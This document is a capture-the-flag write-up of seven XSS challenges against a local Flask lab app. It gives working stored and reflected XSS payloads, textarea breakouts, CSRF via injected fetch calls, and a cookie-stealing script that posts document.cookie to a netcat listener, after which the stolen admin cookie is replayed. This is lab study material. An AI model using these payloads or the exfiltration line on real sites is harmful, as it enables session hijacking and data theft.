stored xss
xss 1
1 curl -X POST "http://challenge.localhost:80/" -d "content=<input type='text'>"
xss 2
inject <script> via stored post, then trigger with
/challenge/victim (headless Firefox).
1 2 curl -X POST "http://challenge.localhost:80/" -d 'content="><script>alert(1)</script>' /challenge/victim
reflected xss
xss 3
msg is reflected directly into the page body:
1 2 The message: {flask.request.args.get("msg" , "(none)" )}
1 /challenge/victim "http://challenge.localhost:80/?msg=<script>alert(1)</script>"
xss 4
msg is reflected inside a <textarea>, break out
first:
1 <textarea name=msg>{flask.request.args.get("msg" , "Type your message here!" )}</textarea>
1 /challenge/victim "http://challenge.localhost:80/?msg=</textarea><script>alert(1)</script><textarea>"
xss 5 - stored XSS + CSRF
(GET publish)
admin’s unpublished draft contains the flag. published posts render
raw HTML. /publish is GET .
1 2 3 @app.route("/publish" , methods=["GET" ] ) def challenge_publish (): db.execute("UPDATE posts SET published = TRUE WHERE author = ?" , [flask.session.get("username" )])
login as hacker, store XSS that makes admin’s browser call
/publish, which publishes admin’s flag draft:
1 2 3 4 5 curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337" curl -b cookie.txt -X POST http://challenge.localhost:80/draft \ -d "content=<script>fetch('/publish')</script>&publish=on" /challenge/victim curl -b cookie.txt "http://challenge.localhost:80/"
xss 6 - stored XSS + CSRF
(POST publish)
same as xss 5, but /publish is now
POST :
1 2 3 @app.route("/publish" , methods=["POST" ] ) def challenge_publish (): db.execute("UPDATE posts SET published = TRUE WHERE author = ?" , [username])
1 2 3 4 5 curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337" curl -b cookie.txt -X POST http://challenge.localhost:80/draft \ -d "content=<script>fetch('/publish', {method: 'POST'})</script>&publish=on" /challenge/victim curl -b cookie.txt "http://challenge.localhost:80/"
xss 7 - cookie stealing
key differences from xss 5/6:
auth is cookie-based: auth=username|password (not
flask.session)
admin password = flag[-20:] (truncated flag)
admin is blocked from posting/publishing
drafts are visible to their own author
1 2 3 4 5 6 7 8 9 response.set_cookie("auth" , username + "|" + password) if username == "admin" : flask.abort(400 , "pwnpost no longer supports admin posting due to rampant flag disclosure" ) elif post["author" ] == username: page += "<b>YOUR DRAFT POST:</b> " + post["content" ] + "<hr>\n"
since admin can’t publish, steal the cookie instead and log in as
admin to view the draft:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 curl -c cookie.txt -X POST http://challenge.localhost:80/login -d "username=hacker&password=1337" curl -b cookie.txt -X POST http://challenge.localhost:80/draft \ -d "content=<script>fetch('http://localhost:1337/', {method: 'POST', body: document.cookie})</script>&publish=on" nc -l -p 1337 & /challenge/victim curl --cookie "auth=admin|RT.dJDO1YDL4cjM1gzW}" "http://challenge.localhost:80/"